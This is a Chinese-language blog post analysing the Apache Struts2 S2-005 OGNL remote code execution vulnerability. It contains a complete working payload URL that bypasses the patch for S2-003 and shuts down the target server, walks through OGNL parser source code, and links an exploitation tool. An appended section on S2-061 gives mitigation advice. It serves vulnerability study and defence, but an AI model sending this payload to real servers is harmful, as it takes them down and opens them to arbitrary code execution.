S2-005 远程代码执行漏洞检测与利用

本文深入分析Struts2 S2-005漏洞,揭示其成因与影响,详细解析Ognl语法树规则及如何通过绕过官方安全配置实现远程代码执行。

漏洞信息

漏洞信息页面: https://cwiki.apache.org/confluence/display/WW/S2-005

漏洞成因官方概述:XWork ParameterInterceptors bypass allows remote command execution

漏洞影响:

漏洞分析

S2-005是由于官方在修补S2-003不全面导致绕过补丁造成的。我们都知道访问Ognl的上下文对象必须要使用#符号,S2-003对#号进行过滤,但是没有考虑到unicode编码情况,导致\u0023或者8进制\43绕过。
S2-005则是绕过官方的安全配置(禁止静态方法调用和类方法执行),再次造成漏洞。

Payload如下:

http://www.xxxx.com/aaa.action?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1 

提交上述URL,就会导致服务器down掉。把编码转换过来为下面三个步骤:

(1)?('#_memberAccess['allowStaticMethodAccess']')(meh)=true   
(2)&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))
(3)&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1

第一步将_memberAccess变量中的allowStaticMethod设置为true,这里payload还要加括号,并且还带个"(meh)"呢?其实是为了遵守Ognl语法树的规则,这个后面再说。第一步完成后,就可以执行静态方法了。

第二步将上下文中的xwork.MethodAccessor.denyMethodExecution  设置为false,即允许方法的执行,这里的MehodAccessor是Struts2中规定方法/属性访问策略的类,也存在与Ognl的上下文中。同样遵守Ognl语法树规则。

第三步就是真正的攻击代码,前两步就是要保证第三步成功执行,第三步就是执行了关闭服务器的代码。但是要过调用Runtime类的静态方法获取一个Runtime对象。

深入分析

那么为什么攻击者只要提交这个攻击URL就能使服务器down掉呢?仅仅看这三句不要以为就懂了,要理解其中的奥妙,必须要阅读源码。

中间件处理一个用户request顺序是这样的:

首先服务器接收到请求后会读取web.xml文件,这个是网站配置文件,里面有个过滤器,叫:

org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter

然后这个过滤器执行完之后,就可以执行我们的Action了。这个类主要是做一些配置文件读取,以及默认拦截器栈的执行。具体是这样的,查看struts-default.xml配置文件,这里有全部的类信息。

这里定义了一个默认的package叫struts-default,里面定义了结果集的类型以及默认的拦截器(interceptors),还有默认加载的类ActionSupport。以及,最重要的是默认执行的拦截器栈(default-interceptor-ref),名叫defaultStack。
这个拦截器栈的结构如下:

是个栈结构,在执行我们自己的Action,这里面的拦截器会依次执行,对于我们分析来说,比较重要的一个拦截器是params,它的作用主要是用来处理URL中的参数的,类全名为:org.apache.struts2.interceptor.ActionMappingParametersInteceptor。
拦截器中的执行方法是doIntecept(),这里做了如下处理,在方法addParametersToContext:

可以看到这里获取一个值栈,并将参数(parameters)放入进去。在setParameters方法中,其实是将请求做成了键值对,加入了新的值栈(Map结构)中。

在Ognl中,值栈(ValueStack)的实现类是OgnlValueStack,看看里面的setValue方法,发现又调用了OgnlUtil的setValue,好一个装饰模式。。。

跟进去OgnlUtil类,发现又包装了一遍,最终是调用了Ognl中的setValue方法。

注意,这里有个compile方法,用来将传入的字符串进行解析,执行完之后返回一个语法树。

执行完compile方法,再执行setValue方法,参数为四个:语法树、上下文、根对象以及传入的value值。要解释payload中代码为啥都放到一个一个括号里,这就牵扯到Ognl的语法树的原理。由于我现在还没学过编译原理,只能看个大概。
在Ognl中,有几个类型的语法树,ASTEval、ASTAssign、ASTStaticMethod、ASTConst、ASTProperty、ASTChain等,这些在构造树的时候会应用于不同的语法格式,虽然传入的ognl仅仅是字符串。比如传入user.name就是生成ASTChain,因为这里采用了链式结构来访问user对象中的name属性。

Payload中的攻击代码有两个形式:
(1)?('#_memberAccess['allowStaticMethodAccess']')(meh)=true   
(2)&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))
(3)&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1
一种是(expression)(constant) = value,一种是(constant)((expression1)(expression2))。
Ognl解析引擎是这样处理的,每个括号对应语法树上的一个分支,并且从最右边的叶子节点开始解析执行。
比如最后一个攻击代码,解析成语法树如下:

从右枝开始执行,依次分解,并按照不同类型的子树上面的方法来执行setValueBody或者setValueBody方法,并且对每条Ognl进行执行。
总结一下,对于:
(1)(expression)(constant)= value会执行expression=value。
(2)(constant)((expression1)(expression2))会先执行expression2,然后再执行expression1。

这就是为什么payload中的攻击代码会以那么奇怪的形式用括号包裹起来。

到这里整个漏洞机理就比较清楚了。由于参数进入了params拦截器中,这个拦截器将url参数中的Ognl表达式以键值对的方式放入值栈,Ognl解析执行引擎就会按照规定的语法规则解析字符串并执行Ognl表达式。由于拦截器中没有对特定的符号进行完全的过滤(没有过滤八进制和十六进制的unicode码),所以导致任意代码执行,任意代码执行可以的话,就是花式攻击的节奏了。

ognl的解析

一个问题,为什么\u0023形式的poc能够被解析呢?

跟入setValue 至 struts/xwork-2.0.5-sources.jar!/com/opensymphony/xwork2/util/OgnlValueStack.java:170

跟入OgnlUtil.setValue,struts/xwork-2.0.5-sources.jar!/com/opensymphony/xwork2/util/OgnlUtil.java:185

public static void setValue(String name, Map context, Object root, Object value) throws OgnlException {
        Ognl.setValue(compile(name), context, root, value);
    }

此处name即我们传入的参数(\u0023...,跟入compile中的o = Ognl.parseExpression(expression);:

public static Object parseExpression( String expression ) throws OgnlException
    {
        try {
            OgnlParser parser = new OgnlParser( new StringReader(expression) );
            return parser.topLevelExpression();
        }

topLevelExpression就开始了进行语法分析工作。在获得(的token为44后,接着进行expression();的解析。

在其中会调用到 ognl/JavaCharStream.java 的readChar。其中代码摘取部分如下:

public char readChar() throws java.io.IOException
{
    ...
    char c;

    if ((buffer[bufpos] = c = ReadByte()) == '\\')
    {
    ...
    int backSlashCnt = 1;

    for (;;) // Read all the backslashes
    {
        try
        {
            if ((buffer[bufpos] = c = ReadByte()) != '\\')
            {
                UpdateLineColumn(c);
                // found a non-backslash char.
                if ((c == 'u') && ((backSlashCnt & 1) == 1))
                {
                if (--bufpos < 0)
                    bufpos = bufsize - 1;
                break;
                }

                backup(backSlashCnt);
                return '\\';
            }
        }
        ...
    }

读取\,并在之后如果遇到了u则进一步处理:

从而把\u0023转换成了#。之后执行ognl表达式时即执行"#context[\'xwork.MethodAccessor.denyMethodExecution\']=false"

漏洞检测于利用

检测

命令执行

工具下载地址:https://download.youkuaiyun.com/download/fly_hps/10849679

切勿恶意破坏,切勿恶意破坏,切勿恶意破坏!!!

参考链接:

https://xz.aliyun.com/t/2323
https://blog.youkuaiyun.com/u011721501/article/details/41626959
https://blog.youkuaiyun.com/qq_29647709/article/details/84949988

### Struts2 S2-061 远程代码执行漏洞分析 Apache Struts2 是一个广泛使用的 Java Web 开发框架,其设计基于 MVC 架构,提供了强大的标签库和 OGNL 表达式解析功能。然而,在 2020 年 12 月 8 日,Apache Struts 官方披露了 S2-061 远程代码执行漏洞(CVE-2020-17530),该漏洞源于某些标签属性在特定情况下会进行 OGNL 表达式的二次解析,从而导致 OGNL 注入漏洞。攻击者可以构造恶意请求,远程执行任意命令,甚至控制服务器,造成严重安全风险 [^1]。 漏洞的核心在于 Struts2 对某些标签属性(如 `id`)的值进行两次 OGNL 表达式解析。当这些属性值中包含 `%{x}` 形式的内容,且 `x` 的值由用户控制时,攻击者可以注入恶意的 OGNL 表达式,例如 `%{payload}`,从而触发远程代码执行 [^3]。 S2-061 是对之前 S2-059 漏洞的修复绕过。S2-059 的补丁主要修复了沙盒绕过问题,但未完全阻止 OGNL 表达式的执行。S2-061 利用了 `org.apache.commons.collections.BeanMap` 类,该类存在于 `commons-collections-x.x.jar` 包中,而 Struts2 官方最小依赖包并未包含此库。因此,即使存在支持 OGNL 表达式注入的点,若未使用该依赖包,也无法成功利用 [^3]。 ### 漏洞影响范围 S2-061 漏洞影响使用 Apache Struts2 的多个版本,尤其是在使用某些标签属性时存在 OGNL 表达式二次解析的情况。攻击者可以构造特定的请求,利用该漏洞远程执行任意命令,进而控制服务器,造成数据泄露、系统瘫痪等严重后果 [^1]。 ### 修复方案 1. **升级 Struts2 版本**:官方在漏洞披露后发布了修复版本,建议用户尽快升级到 Struts 2.5.26 或更高版本。新版本中对 OGNL 表达式的解析机制进行了改进,避免了标签属性的二次解析问题 [^1]。 2. **避免使用用户输入构造 OGNL 表达式**:在开发过程中,应避免将用户输入直接拼接到 OGNL 表达式中,尤其是标签属性值。应使用安全的输入验证和输出编码机制,防止恶意输入被当作表达式解析 [^3]。 3. **移除不必要的依赖库**:由于 S2-061 的利用依赖于 `commons-collections` 包,因此建议检查项目依赖,移除不必要的 `commons-collections` 版本,以降低攻击面 [^3]。 4. **启用安全模式(沙盒)**:Struts2 提供了安全模式(沙盒)功能,可以在一定程度上限制 OGNL 表达式的执行。建议在配置文件中启用沙盒模式,并限制表达式的执行权限 [^4]。 5. **部署 Web 应用防火墙(WAF)**:为了进一步增强安全性,建议在前端部署 Web 应用防火墙(WAF),对请求进行过滤和检测,识别并拦截包含 OGNL 表达式的恶意请求 [^2]。 ### 示例代码:安全的输入处理 以下是一个简单的示例,展示如何避免将用户输入直接拼接到 OGNL 表达式中: ```java public class SafeInputAction { private String userInput; public String execute() { // 对用户输入进行过滤和转义 String safeInput = escapeUserInput(userInput); // 将安全处理后的输入用于业务逻辑 // ... return "success"; } private String escapeUserInput(String input) { // 实现输入过滤逻辑,如移除特殊字符 if (input == null) { return null; } return input.replaceAll("[^a-zA-Z0-9]", ""); } // Getter 和 Setter public String getUserInput() { return userInput; } public void setUserInput(String userInput) { this.userInput = userInput; } } ``` 在 JSP 页面中,确保标签属性不直接使用用户输入构造 OGNL 表达式: ```jsp <s:textfield name="userInput" label="请输入内容" /> ``` ###
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

FLy_鹏程万里

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值